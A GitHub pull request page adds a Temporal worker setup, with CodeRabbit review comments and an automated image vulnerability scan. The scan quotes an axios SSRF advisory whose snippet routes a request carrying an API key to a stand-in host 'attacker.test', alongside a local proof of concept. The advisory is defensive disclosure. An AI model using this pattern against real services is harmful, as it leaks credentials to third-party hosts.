Skip to content

Conversation

anatolyshipitz
Copy link
Collaborator

  • Introduced a new Dockerfile for the Temporal worker, defining multi-stage builds for development and production environments.
  • Created a comprehensive project structure for Temporal workflows and activities, including necessary TypeScript configurations.
  • Implemented example workflows and activities, along with a main entry point for the worker.
  • Added package.json and package-lock.json to manage dependencies for the Temporal worker.

These changes establish a foundational setup for developing and deploying Temporal workflows, enhancing the overall project architecture.

- Introduced a new Dockerfile for the Temporal worker, defining multi-stage builds for development and production environments.
- Created a comprehensive project structure for Temporal workflows and activities, including necessary TypeScript configurations.
- Implemented example workflows and activities, along with a main entry point for the worker.
- Added package.json and package-lock.json to manage dependencies for the Temporal worker.

These changes establish a foundational setup for developing and deploying Temporal workflows, enhancing the overall project architecture.
Copy link

coderabbitai bot commented May 16, 2025

📝 Walkthrough
## Walkthrough

This change introduces a new standardized structure and documentation rule for Temporal workers and workflows. It adds a new Temporal worker package under `workers/main`, including example workflow and activity implementations, TypeScript configuration, Dockerfile for multi-stage builds, and supporting package scripts. The base Temporal Docker image and docker-compose setup were updated, and a new service for the Temporal worker was added to the compose configuration. Documentation and best practices requirements are formalized via a new rule file.

## Changes

| File(s)                                                                                   | Change Summary                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
|-------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `.cursor/rules/temporal-project-structure.mdc`                                            | New rule file defining required project structure, documentation standards, and best practices for Temporal-based workflows and workers.                                                                                                                                                                                                                                                                                                                                                      |
| `Dockerfile.temporal-worker-main`                                                         | New multi-stage Dockerfile for building and running the Temporal worker application, supporting development and production environments with Node.js 20 and nodemon for development.                                                                                                                                                                                                                                                                                                            |
| `workers/main/package.json`                                                               | New `package.json` defining the Temporal worker project, scripts for development, build, and start, with dependencies and devDependencies specified.                                                                                                                                                                                                                                                                                                                                         |
| `workers/main/tsconfig.json`                                                              | New TypeScript configuration file specifying compiler options, output directory, and strict type-checking for the worker project.                                                                                                                                                                                                                                                                                                                                                            |
| `workers/main/src/activities/exampleActivity.ts`                                          | New file exporting an example asynchronous activity function that processes a string input and returns a formatted string.                                                                                                                                                                                                                                                                                                                                                                    |
| `workers/main/src/activities/index.ts`                                                    | New index file re-exporting all exports from `exampleActivity.ts`.                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `workers/main/src/types.ts`                                                               | New file defining `ExampleInput` and `ExampleResult` TypeScript interfaces for structuring workflow/activity input and output.                                                                                                                                                                                                                                                                                                                                                               |
| `workers/main/src/workflows/exampleWorkflow.ts`                                           | New file exporting an example asynchronous workflow function that returns a greeting string.                                                                                                                                                                                                                                                                                                                                                                                                  |
| `workers/main/src/workflows/index.ts`                                                     | New index file re-exporting all exports from `exampleWorkflow.ts`.                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `workers/main/src/index.ts`                                                               | New entry point setting up the Temporal worker, dynamically loading workflows and activities, connecting to Temporal server, ensuring a scheduled workflow exists, and starting the worker.                                                                                                                                                                                                                                                           |
| `workers/main/src/utils/schedule.ts`                                                     | New utility function to create a Temporal schedule if it does not exist, scheduling the example workflow to run hourly.                                                                                                                                                                                                                                                                                                                                                                     |
| `workers/main/src/__tests__/exampleActivity.test.ts`                                      | New test suite for `exampleActivity` covering normal, empty, and special character inputs using Vitest.                                                                                                                                                                                                                                                                                                                                                                                    |
| `workers/main/src/__tests__/exampleWorkflow.test.ts`                                      | New test suite for `exampleWorkflow` verifying greeting outputs for normal, empty, and special character inputs using Vitest.                                                                                                                                                                                                                                                                                                                                                                |
| `workers/main/src/__tests__/schedule.test.ts`                                            | New test suite for `createScheduleIfNotExists` mocking Temporal client behavior to test schedule existence and creation logic.                                                                                                                                                                                                                                                                                                                                                               |
| `workers/main/vitest.config.ts`                                                          | New Vitest configuration file defining test environment, file patterns, coverage settings, and thresholds.                                                                                                                                                                                                                                                                                                                                                                                  |
| `Dockerfile.temporal`                                                                     | Updated base image from 1.20.5 to 1.27.2, added PostgreSQL-related build arguments and environment variables, removed explicit schema setup commands, installed netcat for healthcheck, changed healthcheck command and parameters, and simplified gRPC port exposure.                                                                                                                                                                                                                         |
| `docker-compose.yml`                                                                      | Removed build args for `temporal` service, updated environment variables including PostgreSQL visibility DB settings, changed healthcheck command, added new `temporal-worker-main` service with build context, environment, volumes, dependencies, and development watch configuration, and removed explicit driver declaration for `app-network`.                                                                                                                                              |
| `docker-compose.prod.yml`                                                                 | Added new `temporal-worker-main` service configured for production build with environment variable `NODE_ENV=production`.                                                                                                                                                                                                                                                                                                                                                                     |
| `docs/user-guide/temporal/overview.md`                                                   | Added documentation section describing the `workers-shared/` directory for shared utilities, types, and configuration used across Temporal workers.                                                                                                                                                                                                                                                                                                                                         |
| `.dockerignore`                                                                           | Added ignore rule for `workers/main/node_modules` directory to optimize Docker context.                                                                                                                                                                                                                                                                                                                                                                                                       |
| `.github/workflows/code-quality.yml`                                                     | Enhanced SonarQube job by adding steps to install dependencies and run tests with coverage in `workers/main` before scanning.                                                                                                                                                                                                                                                                                                                                                               |
| `sonar-project.properties`                                                               | Added property specifying the path to the JavaScript LCOV coverage report for the `workers/main` directory.                                                                                                                                                                                                                                                                                                                                                                                  |

## Sequence Diagram(s)

```mermaid
sequenceDiagram
    participant Developer
    participant Docker
    participant WorkerMain
    participant TemporalServer

    Developer->>Docker: Build Docker image (Dockerfile.temporal-worker-main)
    Docker->>WorkerMain: Start container (entrypoint: build/worker.js)
    WorkerMain->>TemporalServer: Connect to Temporal server
    WorkerMain->>TemporalServer: Check for 'example-workflow-hourly' schedule
    alt Schedule does not exist
        WorkerMain->>TemporalServer: Create schedule for 'exampleWorkflow' (hourly)
    end
    WorkerMain->>TemporalServer: Start worker on 'main-queue'

Possibly related PRs

Suggested reviewers

  • DenisChistyakov


</details>

<!-- walkthrough_end -->
<!-- internal state start -->


<!-- DwQgtGAEAqAWCWBnSTIEMB26CuAXA9mAOYCmGJATmriQCaQDG+Ats2bgFyQAOFk+AIw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/PQFCjDnRzDALsgwF7IAE0A1yWIAwGuRdk0AO50/GgAAIMAFz653qI+jQAkBH0p+XvA+bqoFAX055iAJQWuTEEBA1yR9FGAYC0BH0JAXvF2WAvEFkCogZAuucuSXJaIC53vGgFPzIFvosQXvKfgAKXJwLjZ/M9+doAAEBAd53vAAV7zJgrzXZac8UT/MCBUL1yU/I+mnO0Be8lyVc9xfiCFRDA+ZvcwueuSXIULC57U8gUjBoBWLxBbU+RfosiWGA45rsl2WQK0AOLcly5JGC7ISWhzkFy5L3liDIEoCABac3ZYXNdlaAp+WII+k/OxAuyE5589ZcEsUXVAaAZC1ObMv5nALMMEPgkB7LGXey95gQIBd7wkA+yaAJS8ubtBkXgL30YgiQFMsQWoAlyLstclECxBaIHl8c0oBktdk7LSVgAgxeIIyX+LveHi/RYKAxXmIOVmYElYXMLmkLp+BS9cloDGXYgS5/K7QGuT6WSAp5gApheuSEWirXZeC7QHMbBXhzfZJ87OcfS6XkLFVnq8QTctoBtzp+Hc4+mQLEEArwl6q6+bIuXIBA2VmixedUCzXELmFvKzZe1NXXkCNyBKwASQsyWpz9FmSwub/NwXLkS1yC8he3PjWirJABc/+YavEEdz8QGq+RbUv9WGLC53C9cgECXI1L2FkG1AGfNIXqrSFgC73l7zIEHzp+S5ITZOsAXib256c8QWMuPoCLJANS7jcgAcW5rBVl80zdUAOWnLkLRi4eYKtY3rkjlrsqebtCPo4bsVsy+ZagAtncAbZzkJ2epxxgZwtAFDB9P0BAA -->

<!-- internal state end -->
<!-- tips_start -->

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

<details>
<summary>❤️ Share</summary>

- [X](https://twitter.com/intent/tweet?text=I%20just%20used%20%40coderabbitai%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20the%20proprietary%20code.%20Check%20it%20out%3A&url=https%3A//coderabbit.ai)
- [Mastodon](https://mastodon.social/share?text=I%20just%20used%20%40coderabbitai%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20the%20proprietary%20code.%20Check%20it%20out%3A%20https%3A%2F%2Fcoderabbit.ai)
- [Reddit](https://www.reddit.com/submit?title=Great%20tool%20for%20code%20review%20-%20CodeRabbit&text=I%20just%20used%20CodeRabbit%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20proprietary%20code.%20Check%20it%20out%3A%20https%3A//coderabbit.ai)
- [LinkedIn](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Fcoderabbit.ai&mini=true&title=Great%20tool%20for%20code%20review%20-%20CodeRabbit&summary=I%20just%20used%20CodeRabbit%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20proprietary%20code)

</details>

<details>
<summary>🪧 Tips</summary>

### Chat

There are 3 ways to chat with [CodeRabbit](https://coderabbit.ai?utm_source=oss&utm_medium=github&utm_campaign=speedandfunction/automatization&utm_content=23):

- Review comments: Directly reply to a review comment made by CodeRabbit. Example:
  - `I pushed a fix in commit <commit_id>, please review it.`
  - `Explain this complex logic.`
  - `Open a follow-up GitHub issue for this discussion.`
- Files and specific lines of code (under the "Files changed" tab): Tag `@coderabbitai` in a new review comment at the desired location with your query. Examples:
  - `@coderabbitai explain this code block.`
  -	`@coderabbitai modularize this function.`
- PR comments: Tag `@coderabbitai` in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
  - `@coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.`
  - `@coderabbitai read src/utils.ts and explain its main purpose.`
  - `@coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.`
  - `@coderabbitai help me debug CodeRabbit configuration file.`

### Support

Need help? Create a ticket on our [support page](https://www.coderabbit.ai/contact-us/support) for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

### CodeRabbit Commands (Invoked using PR comments)

- `@coderabbitai pause` to pause the reviews on a PR.
- `@coderabbitai resume` to resume the paused reviews.
- `@coderabbitai review` to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
- `@coderabbitai full review` to do a full review from scratch and review all the files again.
- `@coderabbitai summary` to regenerate the summary of the PR.
- `@coderabbitai generate docstrings` to [generate docstrings](https://docs.coderabbit.ai/finishing-touches/docstrings) for this PR.
- `@coderabbitai generate sequence diagram` to generate a sequence diagram of the changes in this PR.
- `@coderabbitai resolve` resolve all the CodeRabbit review comments.
- `@coderabbitai configuration` to show the current CodeRabbit configuration for the repository.
- `@coderabbitai help` to get help.

### Other keywords and placeholders

- Add `@coderabbitai ignore` anywhere in the PR description to prevent this PR from being reviewed.
- Add `@coderabbitai summary` to generate the high-level summary at a specific location in the PR description.
- Add `@coderabbitai` anywhere in the PR title to generate the title automatically.

### CodeRabbit Configuration File (`.coderabbit.yaml`)

- You can programmatically configure CodeRabbit by adding a `.coderabbit.yaml` file to the root of your repository.
- Please see the [configuration documentation](https://docs.coderabbit.ai/guides/configure-coderabbit) for more information.
- If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: `# yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json`

### Documentation and Community

- Visit our [Documentation](https://docs.coderabbit.ai) for detailed information on how to use CodeRabbit.
- Join our [Discord Community](http://discord.gg/coderabbit) to get help, request features, and share feedback.
- Follow us on [X/Twitter](https://twitter.com/coderabbitai) for updates and announcements.

</details>

<!-- tips_end -->

- Deleted the README.md file as it contained outdated information regarding the Temporal worker structure.
- Removed commented-out sections in index.ts, exampleActivity.ts, and exampleWorkflow.ts to streamline the codebase.

These changes enhance code clarity and maintainability by eliminating unnecessary files and comments.
Copy link

github-actions bot commented May 16, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:1482a347dda785a79bf07fa2ce778ccd73b20c65b3b9ed9d276616dedd9e000b
vulnerabilitiescritical: 1 high: 4 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.230%
EPSS Percentile46th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score13.642%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

- Upgraded the Temporal base image to version 1.27.2 for improved features and stability.
- Refactored the Dockerfile to streamline build arguments and environment variables.
- Enhanced health check command for the Temporal service to ensure better reliability.
- Introduced a new `temporal-worker-main` service in `docker-compose.yml` for handling Temporal tasks, with appropriate environment settings and dependencies.

These changes improve the overall architecture and reliability of the Temporal services within the Docker setup.
- Added a newline at the end of the index.ts file to comply with coding standards and improve file formatting.

This change enhances code quality by ensuring proper file structure.
- Added newlines at the end of index.ts, types.ts, exampleActivity.ts, and exampleWorkflow.ts to comply with coding standards and improve file formatting.

These changes enhance code quality by ensuring proper file structure across the project.
- Added a newline at the end of the tsconfig.json file to comply with coding standards and improve file formatting.

This change enhances code quality by ensuring proper file structure across the project.
@anatolyshipitz anatolyshipitz requested a review from killev May 16, 2025 08:37
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 14

🧹 Nitpick comments (16)
workers/main/src/workflows/exampleWorkflow.ts (2)

1-1: Remove unused import.

The proxyActivities import is not used in the current implementation. Either remove it or demonstrate its usage with an example activity call.

-import { proxyActivities } from '@temporalio/workflow';

3-5: Consider enhancing the example workflow with activity usage.

This example workflow works but doesn't demonstrate core Temporal concepts like activity invocation. Consider enhancing it to show a more complete Temporal workflow pattern that uses activities.

import { proxyActivities } from '@temporalio/workflow';
+import type * as activities from '../activities';

+// Create a client for activities
+const { exampleActivity } = proxyActivities<typeof activities>({
+  startToCloseTimeout: '1 minute',
+});

export async function exampleWorkflow(name: string): Promise<string> {
-  return `Hello, ${name}!`;
+  // Process the name using an activity
+  const processedName = await exampleActivity(name);
+  return `Hello, ${processedName}!`;
}
workers/main/src/activities/exampleActivity.ts (1)

1-3: Consider enhancing the example activity with error handling.

While this is a good starting point for an example activity, production activities typically require error handling and logging. Consider enhancing it to demonstrate these patterns.

+import { ApplicationFailure } from '@temporalio/activity';
+
export async function exampleActivity(name: string): Promise<string> {
+  try {
+    // Example validation
+    if (!name || name.trim() === '') {
+      throw ApplicationFailure.create({
+        message: 'Name cannot be empty',
+        type: 'ValidationError',
+        nonRetryable: true,
+      });
+    }
+    
+    console.log(`Processing activity for name: ${name}`);
    return `Processed: ${name}`;
+  } catch (error) {
+    console.error(`Activity execution failed:`, error);
+    throw error;
+  }
}
workers/main/tsconfig.json (2)

3-3: Consider revising the output directory structure.

The current outDir is set to "../../dist", which places compiled files outside the worker's directory. This could lead to conflicts if multiple workers output to the same location.

{
  "compilerOptions": {
-    "outDir": "../../dist",
+    "outDir": "./dist",
    "rootDir": ".",
    "module": "commonjs",
    "target": "es2019",
    "esModuleInterop": true,
    "strict": true,
    "skipLibCheck": true
  },
  "include": ["./**/*.ts"]
}

7-9: Enable source maps for better debugging.

Consider enabling source maps to improve the debugging experience, especially important for async code in Temporal workflows.

    "esModuleInterop": true,
    "strict": true,
-    "skipLibCheck": true
+    "skipLibCheck": true,
+    "sourceMap": true
workers/main/src/types.ts (3)

1-1: Update comment to use English for consistency

The comment is currently in Russian ("Пример типов для воркфлоу и активити"). For better maintainability and consistency with the rest of the codebase, consider translating this to English.

-// Пример типов для воркфлоу и активити
+// Example types for workflow and activity

7-9: Remove trailing whitespace

There's a trailing space at the end of line 9, which should be removed to maintain code cleanliness.

-} 
+}

3-9: Consider adding JSDoc comments to the interfaces

Since these are example interfaces that will likely be used as templates for future implementations, adding JSDoc comments would improve documentation and code clarity.

+/**
+ * Input parameters for the example workflow
+ */
 export interface ExampleInput {
   name: string;
 }

+/**
+ * Result type returned by the example workflow
+ */
 export interface ExampleResult {
   message: string;
-} 
+}
workers/main/package.json (1)

6-8: Consider more granular debugging options

Setting DEBUG=* in the scripts enables all debug output, which can be overwhelming. Consider setting more specific debug namespaces or making it configurable via environment variables.

-    "start": "DEBUG=* npx ts-node src/index.ts",
+    "start": "DEBUG=@temporalio/* npx ts-node src/index.ts",
     "build": "tsc",
-    "dev": "DEBUG=* nodemon --watch ./src --ext ts --exec npx ts-node src/index.ts"
+    "dev": "DEBUG=@temporalio/* nodemon --watch ./src --ext ts --exec npx ts-node src/index.ts"
workers/main/src/index.ts (3)

19-19: Extract connection address to a named constant

The default Temporal server address is hardcoded. For better maintainability, consider extracting this to a named constant.

-const address = process.env.TEMPORAL_ADDRESS || 'temporal:7233';
+const DEFAULT_TEMPORAL_ADDRESS = 'temporal:7233';
+const address = process.env.TEMPORAL_ADDRESS || DEFAULT_TEMPORAL_ADDRESS;

56-59: Improve error handling on worker startup

The current error handling just logs and exits. Consider adding more context and a graceful shutdown process.

 run().catch((err) => {
-  console.error(err);
+  console.error('Fatal error in Temporal worker:', err);
+  console.error('Worker will now exit');
   process.exit(1);
 }); 

59-59: Remove trailing whitespace

There's a trailing space at the end of line 59.

-}); 
+});
.cursor/rules/temporal-project-structure.mdc (3)

38-41: Define README.md content requirements

The structure example shows a README.md but doesn't specify what content should be in it. Consider updating the documentation to specify what should be included in the README.md file.

 - `index.ts` — worker entry point (registers workflows/activities, sets task queue)
 - `types.ts` — (optional) worker-specific types
 - `README.md` — brief usage and development instructions
+
+The README.md should include:
+- Brief description of the worker's purpose
+- Development setup instructions
+- Local testing instructions
+- Links to more detailed documentation

31-32: Clarify Dockerfile requirements

The structure example mentions Dockerfile.temporal but doesn't describe what it should contain or requirements for worker-specific Dockerfiles. Consider adding information about Dockerfile requirements.

 ├── docker-compose.yml        # Docker compose configuration
 └── Dockerfile.temporal       # Base Temporal worker Dockerfile
+
+Worker-specific Dockerfiles should be named `Dockerfile.temporal-worker-<worker-name>` and 
+should extend the base Dockerfile.temporal. They must include:
+- Multi-stage builds for development and production
+- Proper COPY commands for worker-specific files
+- Appropriate CMD to run the worker
+- Environment variable definitions

66-66: Define versioning and compatibility requirements

The documentation lacks information about versioning and compatibility requirements for Temporal workers. Consider adding a section on versioning and compatibility.

 - PRs introducing new Temporal workers or workflows **must** follow this structure and update documentation accordingly.
+
+## Versioning and Compatibility
+
+- All workers must specify compatible Temporal SDK versions in their package.json
+- Breaking changes to workflows or activities must be version-controlled following the versioning strategy documented in the Temporal Best Practices
+- Workflow updates must maintain backward compatibility with running workflows or provide a clear migration path
Dockerfile.temporal-worker-main (1)

12-17: Prune devDependencies for production.
The build stage inherits all dependencies (including dev) from deps, and you then ship the full node_modules into prod. Consider pruning devDependencies to slim down the final image:

FROM node:20-bullseye AS build
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY workers/main ./
RUN npm run build
+RUN npm prune --production   # <— remove devDependencies before handing off to prod
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between a1308fe and 1911fba.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (9)
  • .cursor/rules/temporal-project-structure.mdc (1 hunks)
  • Dockerfile.temporal-worker-main (1 hunks)
  • workers/main/package.json (1 hunks)
  • workers/main/src/activities/exampleActivity.ts (1 hunks)
  • workers/main/src/index.ts (1 hunks)
  • workers/main/src/types.ts (1 hunks)
  • workers/main/src/workflows/exampleWorkflow.ts (1 hunks)
  • workers/main/src/workflows/index.ts (1 hunks)
  • workers/main/tsconfig.json (1 hunks)
⏰ Context from checks skipped due to timeout of 90000ms (1)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
🔇 Additional comments (4)
workers/main/src/workflows/index.ts (1)

1-1: Appropriate barrel pattern implementation.

This export follows best practices for module organization, allowing centralized imports of all workflows from a single entry point.

workers/main/src/types.ts (1)

3-5: LGTM! Clean interface definition

The ExampleInput interface is well-defined with a clear type for the required name property.

workers/main/src/index.ts (1)

1-5: LGTM! Well organized imports

The imports are well structured, with related imports grouped together.

Dockerfile.temporal-worker-main (1)

1-5: Good multi-stage dependency installation setup.
The deps stage cleanly installs dependencies with npm ci, leveraging package*.json to include lockfiles for reproducible builds.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (5)
Dockerfile.temporal (2)

4-4: Remove unused build argument.
The HOST arg is declared but never used—clean it up to avoid confusion.

🧰 Tools
🪛 GitHub Actions: Code Quality

[error] Hadolint process failed with exit code 1.


22-23: Parameterize healthcheck for flexibility.
Rather than hardcoding temporal:7233, use the environment variables you define:

HEALTHCHECK --interval=10s --timeout=5s --start-period=30s --retries=5 \
  CMD sh -c "tctl --address $HOST:$TEMPORAL_PORT cluster health && nc -z $HOST $TEMPORAL_PORT"
🧰 Tools
🪛 GitHub Actions: Code Quality

[error] Hadolint process failed with exit code 1.

docker-compose.yml (3)

104-104: Synchronize healthcheck with env vars.
For consistency, replace hardcoded host/port with the service’s env vars:

test: ["CMD", "sh", "-c", "tctl --address $${TEMPORAL_ADDRESS} cluster health && nc -z $${TEMPORAL_ADDRESS} $${TEMPORAL_PORT}"]

158-161: Align NODE_ENV with build target.
You’re using the dev build stage but set NODE_ENV=production. Consider NODE_ENV=development to enable dev-mode features (hot reload, verbose logging).


163-165: Optimize node_modules volume.
Mounting /app/node_modules anonymously can lead to stale or inconsistent deps. Define a named volume for clarity and cache efficiency:

    volumes:
      - ./workers/main:/app
      - temporal-worker-node-modules:/app/node_modules

volumes:
  temporal-worker-node-modules:
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 1911fba and 91c7c23.

📒 Files selected for processing (8)
  • Dockerfile.temporal (1 hunks)
  • docker-compose.yml (3 hunks)
  • workers/main/src/activities/exampleActivity.ts (1 hunks)
  • workers/main/src/index.ts (1 hunks)
  • workers/main/src/types.ts (1 hunks)
  • workers/main/src/workflows/exampleWorkflow.ts (1 hunks)
  • workers/main/src/workflows/index.ts (1 hunks)
  • workers/main/tsconfig.json (1 hunks)
✅ Files skipped from review due to trivial changes (2)
  • workers/main/src/workflows/index.ts
  • workers/main/src/types.ts
🚧 Files skipped from review as they are similar to previous changes (4)
  • workers/main/tsconfig.json
  • workers/main/src/index.ts
  • workers/main/src/activities/exampleActivity.ts
  • workers/main/src/workflows/exampleWorkflow.ts
🧰 Additional context used
🪛 GitHub Actions: Code Quality
Dockerfile.temporal

[warning] 19-19: Hadolint warning DL3018: Pin versions in apk add. Instead of apk add <package> use apk add <package>=<version>.


[error] Hadolint process failed with exit code 1.

🔇 Additional comments (7)
Dockerfile.temporal (2)

1-1: Approve updated base image pin.
Bumping to temporalio/auto-setup:1.27.2 ensures you’re running the latest Temporal server schema and tooling.

🧰 Tools
🪛 GitHub Actions: Code Quality

[error] Hadolint process failed with exit code 1.


5-8: Approve new PostgreSQL build args.
Adding POSTGRES_SEEDS, POSTGRES_USER, POSTGRES_DB_TEMPORAL_VISIBILITY, and DB_PORT (and exporting them) aligns this image with your visibility‐DB setup.

🧰 Tools
🪛 GitHub Actions: Code Quality

[error] Hadolint process failed with exit code 1.

docker-compose.yml (5)

82-82: Approve exposing gRPC on all interfaces.
TEMPORAL_FRONTEND_GRPC_BIND_ON_IP=0.0.0.0 is required for external workers to connect—this is correct.


89-89: Verify the DB environment variable value.
The DB var usually denotes database type (e.g., postgres), not engine version. Confirm that the auto-setup image supports postgres12. If not, change to:

      DB: postgres

149-150: Approve new Temporal worker service.
The temporal-worker-main service is well-integrated with its build context, Dockerfile, and network dependency on temporal.


151-157: Check depends_on health-check condition support.
condition: service_healthy works only in Compose v2.1. Confirm your Compose version or switch to an init/wait-for-health script in the worker container to avoid startup races.


167-171: Validate custom develop extension fields.
develop.watch isn’t part of the official Compose spec. Ensure your CLI/plugin honors it, or migrate to a supported mechanism (e.g., file‐watcher sidecar).

- Changed the worker name from "temporal-worker" to "temporal-worker-main" for clarity.
- Updated the main entry point and script paths to reflect the new directory structure.
- Added the "@temporalio/client" dependency to the project.
- Ensured "nodemon" is listed in devDependencies for development convenience.

These changes improve the organization and clarity of the Temporal worker setup.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (1)
workers/main/package.json (1)

5-9: Restrict nodemon watch path to src directory
